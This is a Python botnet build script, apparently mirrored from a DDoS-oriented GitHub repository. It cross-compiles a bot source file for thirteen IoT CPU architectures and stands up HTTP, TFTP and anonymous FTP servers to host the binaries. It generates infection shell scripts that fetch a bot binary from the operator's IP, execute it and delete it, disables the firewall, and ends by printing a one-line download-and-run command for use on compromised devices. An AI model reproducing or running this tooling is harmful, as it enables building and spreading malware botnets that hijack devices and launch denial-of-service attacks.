Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Compilers/NSA-edited.66149d.py
5038 views
1
import subprocess, sys
2
3
print('\x1b[31m###############################################################################')
4
print('\x1b[31m* ___ __________ ____ _______ _____ _______________.___. ___ *')
5
print('\x1b[31m* / _ \_/\ \______ \/_ |\ \ / _ \\______ \__ | | / _ \_/\ *')
6
print('\x1b[31m* \/ \___/ | | _/ | |/ | \ / /_\ \| _// | | \/ \___/ *')
7
print('\x1b[31m* | | \ | / | \/ | \ | \\____ | *')
8
print('\x1b[31m* |______ / |___\____|__ /\____|__ /____|_ // ______| *')
9
print('\x1b[31m* \/ \/ \/ \/ \/ *')
10
print('\x1b[31m###############################################################################')
11
print('\x1b[31mNSA-edited.py | BUILD DATE: 7-7-16\r\n')
12
print('\x1b[31mUsage: python NSA-edited.py [BOTNAME.c] [IP ADDRESS] DONT BE A DUMBASS AND RUN IT OTHERWISE')
13
14
if len(sys.argv[2]) != 0:
15
ip = sys.argv[2]
16
else:
17
print("\x1b[0;31mIncorrect Usage!")
18
print("\x1b[0;32mUsage: python " + sys.argv[0] + " <BOTNAME.C> <IPADDR> \x1b[0m")
19
exit(1)
20
21
bot = sys.argv[1]
22
23
yourafag = raw_input("Get arch's? Y/n:")
24
if yourafag.lower() == "y":
25
get_arch = True
26
else:
27
get_arch = False
28
depends = raw_input("Install Dependencies? Y/n:")
29
if depends.lower() == "y":
30
install_depends = True
31
else:
32
install_depends = False
33
if install_depends == True:
34
print('Installing Dependencies')
35
run('yum install perl -y')
36
run('yum install gcc -y')
37
run('yum install gcc-c++ -y')
38
run('yum install cpan -y')
39
run('yum install httpd -y')
40
run('yum install tftp -y')
41
run('yum install screen -y')
42
run('yum install nano -y')
43
run('yum install unzip -y')
44
run('yum install tar -y')
45
run('yum install wget -y')
46
run('yum install curl -y')
47
run('yum install busybox -y')
48
run('yum install python-paramiko -y')
49
50
51
52
botnames = [
53
"jackmymips", #mips
54
"jackmymipsel", #mipsel
55
"jackmysh4", #sh4
56
"jackmyx86", #x86
57
"jackmyarmv6", #Armv6l
58
"jackmyi686", #i686
59
"jackmypowerpc", #ppc
60
"jackmyi586", #i586
61
"jackmym86k", #m68k
62
"jackmysparc", #sparc
63
"jackmyarmv4", #armv4l
64
"jackmyarmv5", #armv5l
65
"jackmypowerpc440" #ppc440fp
66
]
67
68
getarch = [
69
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
70
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
71
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
72
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2',
73
'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',
74
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2',
75
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
76
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
77
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
78
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
79
'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
80
'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2',
81
'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2'
82
]
83
84
ccs = [
85
"cross-compiler-mips",
86
"cross-compiler-mipsel",
87
"cross-compiler-sh4",
88
"cross-compiler-x86_64",
89
"cross-compiler-armv6l",
90
"cross-compiler-i686",
91
"cross-compiler-powerpc",
92
"cross-compiler-i586",
93
"cross-compiler-m68k",
94
"cross-compiler-sparc",
95
"cross-compiler-armv4l",
96
"cross-compiler-armv5l",
97
"cross-compiler-powerpc-440fp"
98
]
99
100
def run(cmd):
101
subprocess.call(cmd, shell=True)
102
103
run("rm -rf /var/www/html/* /var/lib/tftpboot/* /var/ftp/*")
104
105
if get_arch == True:
106
run("rm -rf cross-compiler-*")
107
108
print("Downloading Architectures")
109
110
for arch in getarch:
111
run("wget " + arch + " --no-check-certificate >> /dev/null")
112
run("tar -xvf *tar.bz2")
113
run("rm -rf *tar.bz2")
114
115
print("Cross Compilers Downloaded...")
116
117
num = 0
118
for cc in ccs:
119
arch = cc.split("-")[2]
120
run("./"+cc+"/bin/"+arch+"-gcc -static -pthread -D" + arch.upper() + " -o " + botnames[num] + " " + bot + " > /dev/null")
121
num += 1
122
123
print("Cross Compiling Done!")
124
print("Setting up your httpd and tftp")
125
126
run("yum install httpd -y")
127
run("service httpd start")
128
run("yum install xinetd tftp tftp-server -y")
129
run("yum install vsftpd -y")
130
run("service vsftpd start")
131
132
run('''echo -e "# default: off
133
# description: The tftp server serves files using the trivial file transfer \
134
# protocol. The tftp protocol is often used to boot diskless \
135
# workstations, download configuration files to network-aware printers, \
136
# and to start the installation process for some operating systems.
137
service tftp
138
{
139
socket_type = dgram
140
protocol = udp
141
wait = yes
142
user = root
143
server = /usr/sbin/in.tftpd
144
server_args = -s -c /var/lib/tftpboot
145
disable = no
146
per_source = 11
147
cps = 100 2
148
flags = IPv4
149
}
150
" > /etc/xinetd.d/tftp''')
151
run("service xinetd start")
152
153
run('''echo -e "listen=YES
154
local_enable=NO
155
anonymous_enable=YES
156
write_enable=NO
157
anon_root=/var/ftp
158
anon_max_rate=2048000
159
xferlog_enable=YES
160
listen_address='''+ ip +'''
161
listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''')
162
run("service vsftpd restart")
163
164
for i in botnames:
165
run("cp " + i + " /var/www/html")
166
run("cp " + i + " /var/ftp")
167
run("mv " + i + " /var/lib/tftpboot")
168
169
run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp1.sh')
170
run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp1.sh')
171
run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp1.sh')
172
173
run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp2.sh')
174
run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp2.sh')
175
run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp2.sh')
176
177
run('echo -e "#!/bin/bash" > /var/www/html/gtop.sh')
178
179
for i in botnames:
180
run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/' + i + '; chmod +x ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/gtop.sh')
181
run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' ' + i + ' ' + i + '; chmod 777 ' + i + ' ./' + i + '; rm -rf ' + i + '" >> /var/ftp/ftp1.sh')
182
run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp1.sh')
183
run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r ' + i + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp2.sh')
184
185
print('Stoping Iptables')
186
run("service iptables stop")
187
run("chkconfig iptables off")
188
print('Restarting Xinetd')
189
run("service xinetd restart")
190
print('Restarting Httpd')
191
run("service httpd restart")
192
193
print('Changing The Ulimit')
194
run('ulimit -Hn 999999; ulimit -Sn 99999')
195
run('ulimit -u 999999;ulimit -n 999999')
196
run('sysctl -w fs.file-max=999999 >/dev/null')
197
run('echo -e "ulimit -u 999999">> ~/.bashrc')
198
run('echo -e "ulimit -n 99999" >> ~/.bashrc')
199
200
print("\x1b[37mRecoded By ~B1NARY\x1b[0m")
201
print("\x1b[37mSkype: b1narythag0d | XMPP: [email protected]")
202
print("\x1b[32mYour link: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://" + ip + "/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp " + ip + " -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g " + ip + "; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 " + ip + " ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *")
203